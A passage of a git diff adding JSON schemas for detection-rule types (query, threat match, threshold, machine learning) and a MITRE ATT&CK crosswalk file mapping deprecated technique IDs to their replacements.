"string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "anomaly_threshold", + "author", + "description", + "machine_learning_job_id", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/master/master.query.json b/etc/api_schemas/master/master.query.json new file mode 100644 index 000000000..d0f43d89c --- /dev/null +++ b/etc/api_schemas/master/master.query.json @@ -0,0 +1,349 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/master/master.threat_match.json b/etc/api_schemas/master/master.threat_match.json new file mode 100644 index 000000000..f9ce1c1b1 --- /dev/null +++ b/etc/api_schemas/master/master.threat_match.json @@ -0,0 +1,440 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "concurrent_searches": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "items_per_search": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threat_filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "threat_index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat_indicator_path": { + "type": "string" + }, + "threat_language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "threat_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "entries": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "type": { + "enum": [ + "mapping" + ], + "type": "string" + }, + "value": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + } + }, + "required": [ + "field", + "type", + "value" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "entries" + ], + "type": "object" + }, + "type": "array" + }, + "threat_query": { + "type": "string" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threat_match" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threat_index", + "threat_mapping", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/master/master.threshold.json b/etc/api_schemas/master/master.threshold.json new file mode 100644 index 000000000..28959a7bb --- /dev/null +++ b/etc/api_schemas/master/master.threshold.json @@ -0,0 +1,398 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "^\\d+[mshd]$", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "description": "RuleName", + "pattern": "^[a-zA-Z0-9].+?[a-zA-Z0-9()]$", + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "^https://attack.mitre.org/tactics/TA[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/$", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "^https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/$", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "cardinality": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "type": "array" + }, + "field": { + "description": "CardinalityFields", + "items": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "maxItems": 3, + "type": "array" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threshold", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/attack-crosswalk.json b/etc/attack-crosswalk.json new file mode 100644 index 000000000..ed7377bd5 --- /dev/null +++ b/etc/attack-crosswalk.json @@ -0,0 +1,2420 @@ +[ + { + "T1001": [ + { + "id": "T1001", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1002": [ + { + "id": "T1560", + "explanation": "Created to consolidate behavior around encrypting and compressing collected data" + } + ], + "change-type": "One or More Techniques Became New Technique" + }, + { + "T1003": [ + { + "id": "T1003", + "explanation": "Renamed, Name change from Credential Dumping and new sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1004": [ + { + "id": "T1547.004", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1005": [ + { + "id": "T1005", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1006": [ + { + "id": "T1006", + "explanation": "Renamed, Name change from File System Logical Offsets" + } + ], + "change-type": "Remains Technique" + }, + { + "T1007": [ + { + "id": "T1007", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1008": [ + { + "id": "T1008", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1009": [ + { + "id": "T1027.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1010": [ + { + "id": "T1010", + "explanation": "Fixed technique reference in description" + } + ], + "change-type": "Remains Technique" + }, + { + "T1011": [ + { + "id": "T1011", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1012": [ + { + "id": "T1012", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1013": [ + { + "id": "T1547.010", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1014": [ + { + "id": "T1014", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1015": [ + { + "id": "T1546.008", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1016": [ + { + "id": "T1016", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1017": [ + { + "id": "T1072", + "explanation": "Name change from Application Deployment Software" + } + ], + "change-type": "Merged into Existing Technique" + }, + { + "T1018": [ + { + "id": "T1018", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1019": [ + { + "id": "T1542.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1020": [ + { + "id": "T1020", + "explanation": "Fixed technique reference in description" + } + ], + "change-type": "Remains Technique" + }, + { + "T1021": [ + { + "id": "T1021", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1022": [ + { + "id": "T1560", + "explanation": "Created to consolidate behavior around encrypting and compressing collected data" + } + ], + "change-type": "One or More Techniques Became New Technique" + }, + { + "T1023": [ + { + "id": "T1547.009", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1024": [ + { + "id": "T1573", + "explanation": "Created to consolidate behavior around encrypted C2" + } + ], + "change-type": "One or More Techniques Became New Technique" + }, + { + "T1025": [ + { + "id": "T1025", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1026": [ + { + "id": "N/A", + "explanation": "Deprecated from ATT&CK due to lack of in the wild use. Existing Group/Software procedure examples did not fit the core idea behind the technique" + } + ], + "change-type": "Deprecated" + }, + { + "T1027": [ + { + "id": "T1027", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1028": [ + { + "id": "T1021.006", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1029": [ + { + "id": "T1029", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1030": [ + { + "id": "T1030", + "explanation": "" + } + ], + "change-type": "Remains Technique" + }, + { + "T1031": [ + { + "id": "T1543.003", + "explanation": "Existing technique that became a sub-technique. Consolidates Modify Existing Service and New Service techniques into one sub-technique" + } + ], + "change-type": "Multiple Techniques Became New Sub-Technique" + }, + { + "T1032": [ + { + "id": "T1573", + "explanation": "Created to consolidate behavior around encrypted C2" + } + ], + "change-type": "One or More Techniques Became New Technique" + }, + { + "T1033": [ + { + "id": "T1033", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1034": [ + { + "id": "T1574.007", + "explanation": "Deprecated and split into separate Unquoted Path, PATH Environment Variable, and Search Order Hijacking sub-techniques." + }, + { + "id": "T1574.008", + "explanation": "Deprecated and split into separate Unquoted Path, PATH Environment Variable, and Search Order Hijacking sub-techniques." + }, + { + "id": "T1574.009", + "explanation": "Deprecated and split into separate Unquoted Path, PATH Environment Variable, and Search Order Hijacking sub-techniques." + } + ], + "change-type": "Became Multiple Sub-Techniques" + }, + { + "T1035": [ + { + "id": "T1569.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1036": [ + { + "id": "T1036", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1037": [ + { + "id": "T1037", + "explanation": "Remove from lateral-movement, Renamed, Name change from Logon Scripts and new sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1038": [ + { + "id": "T1574.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1039": [ + { + "id": "T1039", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1040": [ + { + "id": "T1040", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1041": [ + { + "id": "T1041", + "explanation": "Renamed, Name change from Exfiltration over Command and Control Channel and added data sources" + } + ], + "change-type": "Remains Technique" + }, + { + "T1042": [ + { + "id": "T1546.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1043": [ + { + "id": "N/A", + "explanation": "Deprecated from ATT&CK because the behavior is redundant and describes most benign network communications." + } + ], + "change-type": "Deprecated" + }, + { + "T1044": [ + { + "id": "T1574.010", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1045": [ + { + "id": "T1027.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1046": [ + { + "id": "T1046", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1047": [ + { + "id": "T1047", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1048": [ + { + "id": "T1048", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1049": [ + { + "id": "T1049", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1050": [ + { + "id": "T1543.003", + "explanation": "Existing technique that became a sub-technique. Consolidates Modify Existing Service and New Service techniques into one sub-technique" + } + ], + "change-type": "Multiple Techniques Became New Sub-Technique" + }, + { + "T1051": [ + { + "id": "N/A", + "explanation": "Deprecated from ATT&CK due to lack of in the wild use" + } + ], + "change-type": "Deprecated" + }, + { + "T1052": [ + { + "id": "T1052", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1053": [ + { + "id": "T1053", + "explanation": "Renamed, Name change from Local Job Scheduling and new sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1054": [ + { + "id": "T1562.006", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1055": [ + { + "id": "T1055", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1056": [ + { + "id": "T1056", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1057": [ + { + "id": "T1057", + "explanation": "Fixed technique reference in description and minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1058": [ + { + "id": "T1574.011", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1059": [ + { + "id": "T1059", + "explanation": "Renamed, Name change from Command-Line Interface and new sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1060": [ + { + "id": "T1547.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1061": [ + { + "id": "N/A", + "explanation": "Deprecated from ATT&CK because the behavior is redundant and implied by use of remote desktop tools like Remote Desktop Protocol. Existing Group/Software procedure examples were remapped appropriately" + } + ], + "change-type": "Deprecated" + }, + { + "T1062": [ + { + "id": "N/A", + "explanation": "Deprecated from ATT&CK due to lack of in the wild use" + } + ], + "change-type": "Deprecated" + }, + { + "T1063": [ + { + "id": "T1518.001", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1064": [ + { + "id": "T1059.004", + "explanation": "Deprecated and split into separate Unix Shell, Visual Basic, JavaScript/Jscript, and Python sub-techniques of Command and Scripting Interpreter." + }, + { + "id": "T1059.005", + "explanation": "Deprecated and split into separate Unix Shell, Visual Basic, JavaScript/Jscript, and Python sub-techniques of Command and Scripting Interpreter." + }, + { + "id": "T1059.006", + "explanation": "Deprecated and split into separate Unix Shell, Visual Basic, JavaScript/Jscript, and Python sub-techniques of Command and Scripting Interpreter." + }, + { + "id": "T1059.007", + "explanation": "Deprecated and split into separate Unix Shell, Visual Basic, JavaScript/Jscript, and Python sub-techniques of Command and Scripting Interpreter." + } + ], + "change-type": "Became Multiple Sub-Techniques" + }, + { + "T1065": [ + { + "id": "T1571", + "explanation": "Created to refine the idea behind Common and Uncommonly Used Port to focus the behavior on use of a non-standard port for C2 based on the protocol used" + } + ], + "change-type": "One or More Techniques Became New Technique" + }, + { + "T1066": [ + { + "id": "T1027.005", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1067": [ + { + "id": "T1542.003", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1068": [ + { + "id": "T1068", + "explanation": "Minor description update" + } + ], + "change-type": "Remains Technique" + }, + { + "T1069": [ + { + "id": "T1069", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1070": [ + { + "id": "T1070", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1071": [ + { + "id": "T1071", + "explanation": "Renamed, Name change from Standard Application Layer Protocol and new sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1072": [ + { + "id": "T1072", + "explanation": "Renamed, Name change from Application Deployment Software" + } + ], + "change-type": "Remains Technique" + }, + { + "T1073": [ + { + "id": "T1574.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a Sub-Technique" + }, + { + "T1074": [ + { + "id": "T1074", + "explanation": "New sub-techniques added" + } + ], + "change-type": "Remains Technique" + }, + { + "T1075": [ + { + "id": "T1550.002", + "explanation": "Existing technique that became a sub-technique" + } + ], + "change-type": "Became a 